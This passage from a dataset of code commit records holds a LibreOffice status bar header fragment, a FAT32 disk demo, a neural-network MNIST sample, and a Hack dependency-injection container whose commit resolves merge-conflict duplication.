RetrieveLabelFromCommand( const rtl::OUString& aCmdURL );\n        void CreateControllers();\n        void UpdateControllers();\n        void AddFrameActionListener();\n\n    protected:\n        typedef std::vector< ::com::sun::star::uno::Reference< com::sun::star::frame::XStatusListener > > StatusBarControllerVector;\n\n        sal_Bool                                                                                        m_bDisposed : 1,\n                                                                                                        m_bModuleIdentified : 1,\n                                                                                                        m_bFrameActionRegistered : 1,\n                                                                                                        m_bUpdateControllers : 1;\n        StatusBar*                                                                                      m_pStatusBar;\n        rtl::OUString                                                                                   m_aModuleIdentifier;\n        rtl::OUString                                                                                   m_aResourceName;\n        com::sun::star::uno::Reference< com::sun::star::frame::XFrame >                                 m_xFrame;\n        com::sun::star::uno::Reference< com::sun::star::container::XNameAccess >                        m_xUICommandLabels;\n        StatusBarControllerVector                                                                       m_aControllerVector;\n        ::cppu::OMultiTypeInterfaceContainerHelper                                                      m_aListenerContainer;   \/\/\/ container for ALL Listener\n        ::com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory >                  m_xServiceManager;\n        ::com::sun::star::uno::Reference< ::com::sun::star::frame::XUIControllerRegistration >  m_xStatusbarControllerRegistration;\n};\n\n}\n\n#endif \/\/ __FRAMEWORK_UIELEMENT_STATUSBARMANAGER_HXX_\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include \"Fat32Disk.hpp\"\n\nint main(int argc, char *argv[])\n{\n    std::shared_ptr<Fat32Root> root;\n\n    try\n    {\n        auto disk = Disk::create(\"disk.img\", 10000);\n        auto fat32Disk = std::make_shared<Fat32Disk>(disk);\n        fat32Disk->format(\"Test Disk\");\n\n        \/*auto disk = std::make_shared<Disk>(\"disk.img\");\n        auto fat32Disk = std::make_shared<Fat32Disk>(disk);*\/\n\n        const std::string fileName = \"test.txt\";\n        const std::string hello = \"hello world!! \";\n\n        auto dir = fat32Disk->root();\n        dir->add(fileName, FatAttrib::File);\n        dir->add(\"testfolder\", FatAttrib::Directory);\n\n        root = dir;\n\n        {\n            auto file = dir->file(fileName);\n\n            for (int i = 0; i < 50; i++)\n                file.write(hello.c_str(), hello.length());\n\n            file.seek(0);\n\n            std::ofstream out(fileName, std::ios::out | std::ios::trunc | std::ios::binary);\n\n            char buffer[512];\n            int bytesRead = 0;\n\n            while (bytesRead = file.read(buffer, 512))\n            {\n                out.write(buffer, bytesRead);\n            }\n\n            out.close();\n        }\n\n        auto entries = dir->entries();\n\n        for (auto e : entries)\n        {\n            std::cout << e->getName();\n\n            if (!(e->getAttributes() & (char)FatAttrib::Directory))\n                std::cout << \" - \" << e->getSize() << \" bytes\";\n\n            std::cout << std::endl;\n        }\n    }\n    catch (std::exception &e)\n    {\n        std::cout << e.what() << std::endl;\n    }\n\n    return 0;\n}\n\n<commit_msg>Remove junk from main<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include \"Fat32Disk.hpp\"\n\nint main(int argc, char *argv[])\n{\n    try\n    {\n        auto disk = Disk::create(\"disk.img\", 10000);\n        auto fat32Disk = std::make_shared<Fat32Disk>(disk);\n        fat32Disk->format(\"Test Disk\");\n\n        const std::string fileName = \"test.txt\";\n        const std::string hello = \"hello world!! \";\n\n        auto dir = fat32Disk->root();\n        dir->add(fileName, FatAttrib::File);\n        dir->add(\"testfolder\", FatAttrib::Directory);\n\n        {\n            auto file = dir->file(fileName);\n\n            for (int i = 0; i < 50; i++)\n                file.write(hello.c_str(), hello.length());\n\n            file.seek(0);\n\n            std::ofstream out(fileName, std::ios::out | std::ios::trunc | std::ios::binary);\n\n            char buffer[512];\n            int bytesRead = 0;\n\n            while (bytesRead = file.read(buffer, 512))\n            {\n                out.write(buffer, bytesRead);\n            }\n\n            out.close();\n        }\n\n        auto entries = dir->entries();\n\n        for (auto e : entries)\n        {\n            std::cout << e->getName();\n\n            if (!(e->getAttributes() & (char)FatAttrib::Directory))\n                std::cout << \" - \" << e->getSize() << \" bytes\";\n\n            std::cout << std::endl;\n        }\n    }\n    catch (std::exception &e)\n    {\n        std::cout << e.what() << std::endl;\n    }\n\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2020 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#define ETL_COUNTERS\n#define ETL_GPU_POOL\n\n#include \"dll\/neural\/conv\/conv_layer.hpp\"\n#include \"dll\/neural\/dense\/dense_layer.hpp\"\n#include \"dll\/neural\/bn\/batch_normalization_layer.hpp\"\n#include \"dll\/pooling\/mp_layer.hpp\"\n#include \"dll\/network.hpp\"\n#include \"dll\/datasets.hpp\"\n\nint main(int \/*argc*\/, char* \/*argv*\/ []) {\n    \/\/ Load the dataset\n    auto dataset = dll::make_mnist_dataset(dll::batch_size<256>{}, dll::scale_pre<255>{});\n\n    \/\/ Build the network\n\n    using network_t = dll::network_desc<\n        dll::network_layers<\n            dll::conv_layer<1, 28, 28, 16, 5, 5>,\n            dll::mp_2d_layer<16, 24, 24, 2, 2>,\n            dll::batch_normalization_4d_layer_desc<16, 12, 12>::layer_t,\n\n            dll::conv_layer<16, 12, 12, 16, 5, 5>,\n            dll::mp_2d_layer<16, 8, 8, 2, 2>,\n            dll::batch_normalization_4d_layer_desc<16, 4, 4>::layer_t,\n\n            dll::dense_layer<16 * 4 * 4, 256>,\n            dll::batch_normalization_2d_layer_desc<256>::layer_t,\n\n            dll::dense_layer<256, 10, dll::softmax>\n        >\n        , dll::updater<dll::updater_type::ADADELTA>  \/\/ ADADELTA\n        , dll::batch_size<256>                       \/\/ The mini-batch size\n        , dll::shuffle                               \/\/ Shuffle the dataset before each epoch\n        \/\/, dll::no_batch_display                    \/\/ Disable pretty print of each every batch\n        \/\/, dll::no_epoch_error                      \/\/ Disable computation of the error at each epoch\n        , dll::early_training                        \/\/ Do not use validation error for early stopping (BN)\n    >::network_t;\n\n    auto net = std::make_unique<network_t>();\n\n    \/\/ Display the network and dataset\n    net->display_pretty();\n    dataset.display_pretty();\n\n    \/\/ Train the network\n    net->train(dataset.train(), 10);\n\n    \/\/ Test the network on test set\n    net->evaluate(dataset.test());\n\n    \/\/ Show where the time was spent\n    dll::dump_timers_pretty();\n\n    \/\/ Show ETL performance counters\n    etl::dump_counters_pretty();\n\n    return 0;\n}\n<commit_msg>Fix perf sample<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2020 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#define ETL_COUNTERS\n#define ETL_GPU_POOL\n\n#include \"dll\/neural\/conv\/conv_layer.hpp\"\n#include \"dll\/neural\/dense\/dense_layer.hpp\"\n#include \"dll\/neural\/bn\/batch_normalization_layer.hpp\"\n#include \"dll\/pooling\/mp_layer.hpp\"\n#include \"dll\/network.hpp\"\n#include \"dll\/datasets.hpp\"\n\nint main(int \/*argc*\/, char* \/*argv*\/ []) {\n    \/\/ Load the dataset\n    auto dataset = dll::make_mnist_dataset(dll::batch_size<256>{}, dll::scale_pre<255>{});\n\n    \/\/ Build the network\n\n    using network_t = dll::network_desc<\n        dll::network_layers<\n            dll::conv_layer<1, 28, 28, 16, 5, 5>,\n            dll::mp_2d_layer<16, 24, 24, 2, 2>,\n            dll::batch_normalization_4d_layer_desc<16, 12, 12>::layer_t,\n\n            dll::conv_layer<16, 12, 12, 16, 5, 5>,\n            dll::mp_2d_layer<16, 8, 8, 2, 2>,\n            dll::batch_normalization_4d_layer_desc<16, 4, 4>::layer_t,\n\n            dll::dense_layer<16 * 4 * 4, 256>,\n            dll::batch_normalization_2d_layer_desc<256>::layer_t,\n\n            dll::dense_layer<256, 10, dll::softmax>\n        >\n        , dll::updater<dll::updater_type::ADADELTA>  \/\/ ADADELTA\n        , dll::batch_size<256>                       \/\/ The mini-batch size\n        , dll::shuffle                               \/\/ Shuffle the dataset before each epoch\n        , dll::no_batch_display                    \/\/ Disable pretty print of each every batch\n        , dll::no_epoch_error                      \/\/ Disable computation of the error at each epoch\n        , dll::early_training                        \/\/ Do not use validation error for early stopping (BN)\n    >::network_t;\n\n    auto net = std::make_unique<network_t>();\n\n    \/\/ Display the network and dataset\n    net->display_pretty();\n    dataset.display_pretty();\n\n    \/\/ Train the network\n    net->train(dataset.train(), 10);\n\n    \/\/ Test the network on test set\n    net->evaluate(dataset.test());\n\n    \/\/ Show where the time was spent\n    dll::dump_timers_pretty();\n\n    \/\/ Show ETL performance counters\n    etl::dump_counters_pretty();\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><?hh \/\/ strict\n\/**\n * @copyright   2010-2015, The Titon Project\n * @license     http:\/\/opensource.org\/licenses\/bsd-license.php\n * @link        http:\/\/titon.io\n *\/\n\nnamespace Titon\\Context;\n\nuse Closure;\nuse ReflectionClass;\nuse ReflectionMethod;\nuse ReflectionFunction;\nuse ReflectionException;\nuse Titon\\Context\\Definition;\nuse Titon\\Context\\Definition\\DefinitionFactory;\nuse Titon\\Context\\Exception\\AlreadyRegisteredException;\n\n\/**\n * The depository serves as a dependency injector. After registering an object,\n * class, or callable with the depository, retrieving it will handle any necessary\n * dependency injection and reflection resolution before returning the object for\n * use.\n *\n * @package Titon\\Context\n *\/\nclass Depository {\n\n    \/**\n     * Hash of registered item definitions keyed by its alias or class name.\n     *\n     * @var \\Titon\\Context\\ItemMap\n     *\/\n    protected ItemMap $items = Map {};\n\n    \/**\n     * Hash of registered, and already constructed, singletons keyed by its\n     * alias or class name.\n     *\n     * @var \\Titon\\Context\\SingletonMap\n     *\/\n    protected SingletonMap $singletons = Map {};\n\n    \/**\n     * Map of aliases to registered classes and keys.\n     *\n     * @var \\Titon\\Context\\AliasMap\n     *\/\n    protected AliasMap $aliases = Map {};\n\n    \/**\n     * Instantiate a new container object.\n     *\/\n    protected static ?Depository $instance;\n\n    \/**\n     * Instantiate a new container object\n     *\/\n    public function __construct() {\n        $this->singleton('Titon\\Context\\Depository', $this);\n    }\n\n    \/**\n     * Retrieve the Depository singleton\n     *\n     * @return Depository   Return the Depository instance\n     *\/\n    public static function getInstance(): Depository {\n        if (is_null(self::$instance)) {\n            self::$instance = new Depository();\n        }\n\n        return self::$instance;\n    }\n\n    \/**\n     * Register a new class, callable, or object in the container\n     *\n     * @param string $key     The alias (container key) for the registered item\n     * @param mixed $concrete   The class name, closure, object to register in\n     *                          the container, or null to use the alias as the\n     *                          class name\n     * @param bool  $singleton  Whether or not the container should register the\n     *                          concrete as a singleton or not (only if concrete\n     *                          is class name or a closure)\n     *\n     * @return object|$definition   Either the concrete (if an object is registered)\n     *                              or the definition of the registered item\n     * @throws \\Titon\\Context\\Exception\\AlreadyRegisteredException\n     *\/\n    public function register(string $key, mixed $concrete = null, bool $singleton = false): mixed {\n        if ($this->isRegistered($key)) {\n            throw new AlreadyRegisteredException(\"Key $key has already been registered\");\n        }\n\n        if (!$concrete) {\n            $concrete = $key;\n        }\n\n        if (is_object($concrete) && !($concrete instanceof Closure)) {\n            if ($key !== get_class($concrete)) {\n                $this->aliases[$key] = get_class($concrete);\n                $key = get_class($concrete);\n            }\n\n            $this->singletons[$key] = $concrete;\n\n            return $concrete;\n        }\n\n        if (is_string($concrete) && $key !== $concrete && !is_callable($concrete)) {\n            $this->aliases[$key] = $concrete;\n            $key = $concrete;\n        }\n\n        \/\/ we need to build a definition\n        $definition = DefinitionFactory::factory($key, $concrete, $this);\n\n        $this->items[$key] = shape(\n            'definition' => $definition,\n            'singleton'  => $singleton\n        );\n\n        return $definition;\n    }\n\n    \/**\n     * Alias a string to map to a registered item in the container. This allows\n     * you to call 'make' on an alias that maps to a more complex class name,\n     * Closure, or singleton instance.\n     *\n     * @param $alias string The alias to register\n     * @param $key string   The original class name or key registered\n     *\n     * @return $this Return the depository for fluent method chaining\n     * @throws \\Titon\\Context\\Exception\\AlreadyRegisteredException\n     *\/\n    public function alias(string $alias, string $key): this {\n        if ($this->aliases->contains($alias)) {\n            throw new AlreadyRegisteredException(\"Alias $alias has already been mapped to {$this->aliases[$alias]}\");\n        }\n\n        $this->aliases[$alias] = $key;\n\n        return $this;\n    }\n\n    \/**\n     * Register a new singleton in the container.\n     *\n     * @param string $alias     The alias (container key) for the registered item\n     * @param mixed $concrete   The class name, Closure, or object to register in\n     *                          the container, or null to use the alias as the\n     *                          class name\n     *\n     * @return object|$definition   Either the concrete (if an object is registered)\n     *                              or the definition of the registered item\n     *\/\n    public function singleton(string $alias, mixed $concrete = null): mixed {\n        return $this->register($alias, $concrete, true);\n    }\n\n    \/**\n     * Change an existing item to be used as a singleton or, if alias doesn't\n     * exist, register passed in alias and existing concrete as singleton.\n     *\n     * @param string $alias     The key or alias to change to a singleton\n     * @param mixed  $concrete  Class name, Closure, or object to register if\n     *                          no item is currently registered as the alias.\n     *                          If an item is already registered, the existing\n     *                          item will be used and this concrete will be\n     *                          ignored.\n     *\n     * @return mixed    Either the concrete (if an object is registered)\n     *                  or the definition of the registered item\n     *\/\n    public function makeSingleton(string $alias, mixed $concrete = null): mixed {\n        if ($this->aliases->contains($alias)) {\n            return $this->makeSingleton($this->aliases[$alias]);\n        }\n\n        if ($this->items->contains($alias)) {\n            $this->items[$alias]['singleton'] = true;\n\n            return $this->items[$alias]['definition'];\n        }\n\n        if (!$this->singletons->contains($alias)) {\n            return $this->singletons[$alias];\n        }\n\n        return $this->register($alias, $concrete, true);\n    }\n\n    \/**\n     * Retrieve (and build if necessary) the registered item from the container.\n     *\n     * @param string $alias                 Key or alias of a registered item or a class\n     *                                      name, callable, or Closure to construct\n     * @param array<mixed> ...$arguments    Additional arguments to pass into the item at\n     *                                      construction\n     *\n     * @return mixed    The resolved registered item or return value\n     *\/\n    public function make(mixed $alias, ...$arguments): mixed {\n        if (is_string($alias) && $this->isRegistered($alias)) {\n            return $this->getRegisteredItem($alias, ...$arguments);\n        }\n\n        if (is_string($alias) && class_exists($alias)) {\n            $definition = $this->buildClass($alias, ...$arguments);\n        } else {\n            $definition = $this->buildCallable($alias);\n        }\n\n        return $definition->create(...$arguments);\n    }\n\n    \/**\n     * Immediately build a closure and run it.\n     *\n     * @param \\Closure $callable\n     * @param ...$arguments\n     * @return mixed    The resolved registered item or return value\n     *\/\n    protected function getRegisteredItem(string $alias, ...$arguments): mixed {\n        if ($this->aliases->contains($alias)) {\n            return $this->make($this->aliases[$alias], ...$arguments);\n        }\n\n        if ($this->singletons->contains($alias)) {\n            $retval = $this->singletons[$alias];\n        } else {\n            $definition = $this->items[$alias]['definition'];\n            $retval = $definition;\n\n            if ($definition instanceof Definition) {\n                $retval = $definition->create(...$arguments);\n            }\n\n            if ($this->items->contains($alias) && $this->items[$alias]['singleton'] === true) {\n                $this->items->remove($alias);\n                $this->singletons[$alias] = $retval;\n            }\n        }\n\n        return $definition->create(...$arguments);\n    }\n\n    \/**\n     * Remove an alias or key from the depository's registry.\n     *\n     * @param string $key The key to remove\n     *\n     * @return $this Return the depository for fluent method chaining\n     *\/\n    public function remove(string $key): this {\n        $this->singletons->remove($key);\n        $this->items->remove($key);\n\n        if ($this->aliases->contains($key)) {\n            $this->singletons->remove($this->aliases[$key]);\n            $this->items->remove($this->aliases[$key]);\n            $this->aliases->remove($key);\n        }\n\n        return $this;\n    }\n\n    \/**\n     * Clear all registered items, singletons, and aliases in the Depository.\n     *\n     * @return $this    Return the depository for fluent method chaining\n     *\/\n    public function clear(): this {\n        $this->aliases->clear();\n        $this->singletons->clear();\n        $this->items->clear();\n\n        return $this;\n    }\n\n    \/**\n     * Return whether or not an alias has been registered in the container\n     *\n     * @param string $alias Registered key or class name\n     *\n     * @return bool\n     *\/\n    protected function buildClass(string $class, ...$arguments): Definition {\n        $reflection = new ReflectionClass($class);\n        if (!$reflection->isInstantiable()) {\n            $message = \"Target [$class] is not instantiable.\";\n            throw new ReflectionException($message);\n        }\n\n        if ($this->singletons->contains($alias)) {\n            return true;\n        }\n\n        if (count($arguments) > 0) {\n            foreach ($arguments as $arg) {\n                $definition->with($arg);\n            }\n        } else {\n            foreach ($constructor->getParameters() as $param) {\n                $dependency = $param->getClass();\n\n                if (is_null($dependency)) {\n                    if ($param->isDefaultValueAvailable()) {\n                        $definition->with($param->getDefaultValue());\n                        continue;\n                    }\n\n                    throw new ReflectionException(\"Cannot to resolve dependency of $param for $class\");\n                }\n\n                $definition->with($dependency->getName());\n            }\n        }\n\n        return false;\n    }\n\n    \/**\n     * This method will use reflection to build a definition of the callable to\n     * be registered by the depository.\n     *\n     * @param string $alias\n     *\n     * @return Definition   The definition built from the callable\n     *\/\n    protected function buildCallable(mixed $alias): Definition {\n        if (is_string($alias) && strpos($alias, '::') !== false) {\n            $callable = explode('::', $alias);\n        } else {\n            $callable = $alias;\n\n            if (!is_string($alias)) {\n                $alias = 'Callable';\n            }\n        }\n\n        $definition = DefinitionFactory::factory($alias, $callable, $this);\n\n        if (is_array($callable)) {\n            $reflector = new ReflectionMethod($callable[0], $callable[1]);\n        } else {\n            $reflector = new ReflectionFunction($callable);\n        }\n\n        foreach ($reflector->getParameters() as $param) {\n            $dependency = $param->getClass();\n\n            if (is_null($dependency)) {\n                if ($param->isDefaultValueAvailable()) {\n                    $definition->with($param->getDefaultValue());\n                    continue;\n                }\n\n                throw new ReflectionException(\"Cannot to resolve dependency of $param for $alias\");\n            }\n\n            $definition->with($dependency->getName());\n        }\n\n        return $definition;\n    }\n\n    \/**\n     * Return whether or not an alias has been registered in the container.\n     *\n     * @param string $class         The class name to reflect and construct\n     * @param mixed ...$parameters  Parameters required for constructing the object\n     *\n     * @return Definition\n     * @throws ReflectionException\n     *\/\n    protected function buildClass(string $class): Definition {\n        $reflection = new ReflectionClass($class);\n\n        if (!$reflection->isInstantiable()) {\n            throw new ReflectionException(\"Target [$class] is not instantiable\");\n        }\n\n        $definition = DefinitionFactory::factory($class, $class, $this);\n        $constructor = $reflection->getConstructor();\n\n        if (is_null($constructor)) {\n            return $definition;\n        }\n\n        foreach ($constructor->getParameters() as $param) {\n            $dependency = $param->getClass();\n\n            if (is_null($dependency)) {\n                if ($param->isDefaultValueAvailable()) {\n                    $definition->with($param->getDefaultValue());\n                    continue;\n                }\n\n                throw new ReflectionException(\"Cannot to resolve dependency of $param for $class\");\n            }\n\n            $definition->with($dependency->getName());\n        }\n\n        return $definition;\n    }\n\n    \/**\n     * Return whether or not an alias has been registered as a singleton in\n     * the container.\n     *\n     * @param string $alias                 The key the item is stored under\n     * @param array<mixed> ...$arguments    Arguments passed into creating the\n     *                                      definition\n     *\n     * @return mixed\n     *\/\n    protected function getRegisteredItem(string $alias, ...$arguments): mixed {\n        if ($this->aliases->contains($alias)) {\n            return $this->make($this->aliases[$alias], ...$arguments);\n        }\n\n        if ($this->singletons->contains($alias)) {\n            $retval = $this->singletons[$alias];\n        } else {\n            $definition = $this->items[$alias]['definition'];\n            $retval = $definition;\n\n            if ($definition instanceof Definition) {\n                $retval = $definition->create(...$arguments);\n            }\n\n            if ($this->items->contains($alias) && $this->items[$alias]['singleton'] === true) {\n                $this->items->remove($alias);\n                $this->singletons[$alias] = $retval;\n            }\n        }\n\n        return $retval;\n    }\n\n}\n<commit_msg>fixed merge conflicts<commit_after><?hh \/\/ strict\n\/**\n * @copyright   2010-2015, The Titon Project\n * @license     http:\/\/opensource.org\/licenses\/bsd-license.php\n * @link        http:\/\/titon.io\n *\/\n\nnamespace Titon\\Context;\n\nuse Closure;\nuse ReflectionClass;\nuse ReflectionMethod;\nuse ReflectionFunction;\nuse ReflectionException;\nuse Titon\\Context\\Definition;\nuse Titon\\Context\\Definition\\DefinitionFactory;\nuse Titon\\Context\\Exception\\AlreadyRegisteredException;\n\n\/**\n * The depository serves as a dependency injector. After registering an object,\n * class, or callable with the depository, retrieving it will handle any necessary\n * dependency injection and reflection resolution before returning the object for\n * use.\n *\n * @package Titon\\Context\n *\/\nclass Depository {\n\n    \/**\n     * Hash of registered item definitions keyed by its alias or class name.\n     *\n     * @var \\Titon\\Context\\ItemMap\n     *\/\n    protected ItemMap $items = Map {};\n\n    \/**\n     * Hash of registered, and already constructed, singletons keyed by its\n     * alias or class name.\n     *\n     * @var \\Titon\\Context\\SingletonMap\n     *\/\n    protected SingletonMap $singletons = Map {};\n\n    \/**\n     * Map of aliases to registered classes and keys.\n     *\n     * @var \\Titon\\Context\\AliasMap\n     *\/\n    protected AliasMap $aliases = Map {};\n\n    \/**\n     * Instantiate a new container object.\n     *\/\n    protected static ?Depository $instance;\n\n    \/**\n     * Instantiate a new container object\n     *\/\n    public function __construct() {\n        $this->singleton('Titon\\Context\\Depository', $this);\n    }\n\n    \/**\n     * Retrieve the Depository singleton\n     *\n     * @return Depository   Return the Depository instance\n     *\/\n    public static function getInstance(): Depository {\n        if (is_null(self::$instance)) {\n            self::$instance = new Depository();\n        }\n\n        return self::$instance;\n    }\n\n    \/**\n     * Register a new class, callable, or object in the container\n     *\n     * @param string $key     The alias (container key) for the registered item\n     * @param mixed $concrete   The class name, closure, object to register in\n     *                          the container, or null to use the alias as the\n     *                          class name\n     * @param bool  $singleton  Whether or not the container should register the\n     *                          concrete as a singleton or not (only if concrete\n     *                          is class name or a closure)\n     *\n     * @return object|$definition   Either the concrete (if an object is registered)\n     *                              or the definition of the registered item\n     *\/\n    public function register(string $key, mixed $concrete = null, bool $singleton = false): mixed {\n        if ($this->isRegistered($key)) {\n            throw new AlreadyRegisteredException(\"Key $key has already been registered\");\n        }\n\n        if (!$concrete) {\n            $concrete = $key;\n        }\n\n        if (is_object($concrete) && !($concrete instanceof Closure)) {\n            if ($key !== get_class($concrete)) {\n                $this->aliases[$key] = get_class($concrete);\n                $key = get_class($concrete);\n            }\n\n            $this->singletons[$key] = $concrete;\n\n            return $concrete;\n        }\n\n        if (is_string($concrete) && $key !== $concrete && !is_callable($concrete)) {\n            $this->aliases[$key] = $concrete;\n            $key = $concrete;\n        }\n\n        \/\/ we need to build a definition\n        $definition = DefinitionFactory::factory($key, $concrete, $this);\n\n        $this->items[$key] = shape(\n            'definition' => $definition,\n            'singleton'  => $singleton\n        );\n\n        return $definition;\n    }\n\n    \/**\n     * Alias a string to map to a registered item in the container. This allows\n     * you to call 'make' on an alias that maps to a more complex class name,\n     * Closure, or singleton instance.\n     *\n     * @param $alias string The alias to register\n     * @param $key string   The original class name or key registered\n     *\n     * @return $this Return the depository for fluent method chaining\n     *\/\n    public function alias(string $alias, string $key): this {\n        if ($this->aliases->contains($alias)) {\n            throw new AlreadyRegisteredException(\"Alias $alias has already been mapped to {$this->aliases[$alias]}\");\n        }\n\n        $this->aliases[$alias] = $key;\n\n        return $this;\n    }\n\n    \/**\n     * Register a new singleton in the container.\n     *\n     * @param string $alias     The alias (container key) for the registered item\n     * @param mixed $concrete   The class name, Closure, or object to register in\n     *                          the container, or null to use the alias as the\n     *                          class name\n     *\n     * @return object|$definition   Either the concrete (if an object is registered)\n     *                              or the definition of the registered item\n     *\/\n    public function singleton(string $alias, mixed $concrete = null): mixed {\n        return $this->register($alias, $concrete, true);\n    }\n\n    \/**\n     * Change an existing item to be used as a singleton or, if alias doesn't\n     * exist, register passed in alias and existing concrete as singleton.\n     *\n     * @param string $alias     The key or alias to change to a singleton\n     * @param mixed  $concrete  Class name, Closure, or object to register if\n     *                          no item is currently registered as the alias.\n     *                          If an item is already registered, the existing\n     *                          item will be used and this concrete will be\n     *                          ignored.\n     *\n     * @return mixed    Either the concrete (if an object is registered)\n     *                  or the definition of the registered item\n     *\/\n    public function makeSingleton(string $alias, mixed $concrete = null): mixed {\n        if ($this->aliases->contains($alias)) {\n            return $this->makeSingleton($this->aliases[$alias]);\n        }\n\n        if ($this->items->contains($alias)) {\n            $this->items[$alias]['singleton'] = true;\n\n            return $this->items[$alias]['definition'];\n        }\n\n        if (!$this->singletons->contains($alias)) {\n            return $this->singletons[$alias];\n        }\n\n        return $this->register($alias, $concrete, true);\n    }\n\n    \/**\n     * Retrieve (and build if necessary) the registered item from the container.\n     *\n     * @param string $alias                 Key or alias of a registered item or a class\n     *                                      name, callable, or Closure to construct\n     * @param array<mixed> ...$arguments    Additional arguments to pass into the item at\n     *                                      construction\n     *\n     * @return mixed    The resolved registered item or return value\n     *\/\n    public function make(mixed $alias, ...$arguments): mixed {\n        if (is_string($alias) && $this->isRegistered($alias)) {\n            return $this->getRegisteredItem($alias, ...$arguments);\n        }\n\n        if (is_string($alias) && class_exists($alias)) {\n            $definition = $this->buildClass($alias, ...$arguments);\n        } else {\n            $definition = $this->buildCallable($alias);\n        }\n\n        return $definition->create(...$arguments);\n    }\n\n    \/**\n     * Retrieve the created definition or stored instance from the depository\n     * by key\n     *\n     * @param string $alias                 The key the item is stored under\n     * @param array<mixed> ...$arguments    Arguments passed into creating the\n     *                                      definition\n     *\n     * @return mixed\n     *\/\n    protected function getRegisteredItem(string $alias, ...$arguments): mixed {\n        if ($this->aliases->contains($alias)) {\n            return $this->make($this->aliases[$alias], ...$arguments);\n        }\n\n        if ($this->singletons->contains($alias)) {\n            $retval = $this->singletons[$alias];\n        } else {\n            $definition = $this->items[$alias]['definition'];\n            $retval = $definition;\n\n            if ($definition instanceof Definition) {\n                $retval = $definition->create(...$arguments);\n            }\n\n            if ($this->items->contains($alias) && $this->items[$alias]['singleton'] === true) {\n                $this->items->remove($alias);\n                $this->singletons[$alias] = $retval;\n            }\n        }\n\n        return $retval;\n    }\n\n    \/**\n     * Remove an alias or key from the depository's registry.\n     *\n     * @param string $key The key to remove\n     *\n     * @return $this Return the depository for fluent method chaining\n     *\/\n    public function remove(string $key): this {\n        $this->singletons->remove($key);\n        $this->items->remove($key);\n\n        if ($this->aliases->contains($key)) {\n            $this->singletons->remove($this->aliases[$key]);\n            $this->items->remove($this->aliases[$key]);\n            $this->aliases->remove($key);\n        }\n\n        return $this;\n    }\n\n    \/**\n     * Clear all registered items, singletons, and aliases in the Depository.\n     *\n     * @return $this    Return the depository for fluent method chaining\n     *\/\n    public function clear(): this {\n        $this->aliases->clear();\n        $this->singletons->clear();\n        $this->items->clear();\n\n        return $this;\n    }\n\n    \/**\n     * This method will use reflection to build the class and inject any\n     * necessary arguments for construction.\n     *\n     * @param string $class         The class name to reflect and construct\n     * @param mixed ...$parameters  Parameters required for constructing the object\n     *\n     * @return Definition|mixed\n     * @throws ReflectionException\n     *\/\n    protected function buildClass(string $class, ...$arguments): Definition {\n        $reflection = new ReflectionClass($class);\n        if (!$reflection->isInstantiable()) {\n            $message = \"Target [$class] is not instantiable.\";\n            throw new ReflectionException($message);\n        }\n\n        $definition = DefinitionFactory::factory($class, $class, $this);\n        $constructor = $reflection->getConstructor();\n\n        if (is_null($constructor)) {\n            return $definition;\n        }\n\n        if (count($arguments) > 0) {\n            foreach ($arguments as $arg) {\n                $definition->with($arg);\n            }\n        } else {\n            foreach ($constructor->getParameters() as $param) {\n                $dependency = $param->getClass();\n\n                if (is_null($dependency)) {\n                    if ($param->isDefaultValueAvailable()) {\n                        $definition->with($param->getDefaultValue());\n                        continue;\n                    }\n\n                    throw new ReflectionException(\"Cannot to resolve dependency of $param for $class\");\n                }\n\n                $definition->with($dependency->getName());\n            }\n        }\n\n        return $definition;\n    }\n\n    \/**\n     * This method will use reflection to build a definition of the callable to\n     * be registered by the depository.\n     *\n     * @param string $alias\n     *\n     * @return Definition   The definition built from the callable\n     *\/\n    protected function buildCallable(mixed $alias): Definition {\n        if (is_string($alias) && strpos($alias, '::') !== false) {\n            $callable = explode('::', $alias);\n        } else {\n            $callable = $alias;\n\n            if (!is_string($alias)) {\n                $alias = 'Callable';\n            }\n        }\n\n        $definition = DefinitionFactory::factory($alias, $callable, $this);\n\n        if (is_array($callable)) {\n            $reflector = new ReflectionMethod($callable[0], $callable[1]);\n        } else {\n            $reflector = new ReflectionFunction($callable);\n        }\n\n        foreach ($reflector->getParameters() as $param) {\n            $dependency = $param->getClass();\n\n            if (is_null($dependency)) {\n                if ($param->isDefaultValueAvailable()) {\n                    $definition->with($param->getDefaultValue());\n                    continue;\n                }\n\n                throw new ReflectionException(\"Cannot to resolve dependency of $param for $alias\");\n            }\n\n            $definition->with($dependency->getName());\n        }\n\n        return $definition;\n    }\n\n    \/**\n     * Return whether or not an alias has been registered in the container.\n     *\n     * @param string $alias Registered key or class name\n     *\n     * @return bool\n     *\/\n    public function isRegistered(string $alias): bool {\n        if ($this->aliases->contains($alias)) {\n            return true;\n        }\n\n        if ($this->singletons->contains($alias)) {\n            return true;\n        }\n\n        if ($this->items->contains($alias)) {\n            return true;\n        }\n\n        return false;\n    }\n\n    \/**\n     * Return whether or not an alias has been registered as a singleton in\n     * the container.\n     *\n     * @param string $alias Registered key or class name\n     *\n     * @return bool\n     *\/\n    public function isSingleton(string $alias): bool {\n        if ($this->aliases->contains($alias)) {\n            return $this->isSingleton($this->aliases[$alias]);\n        }\n\n        if ($this->singletons->contains($alias) || ($this->items->contains($alias) && $this->items[$alias]['singleton'] === true)) {\n            return true;\n        }\n\n        return false;\n    }\n}<|endoftext|>"}
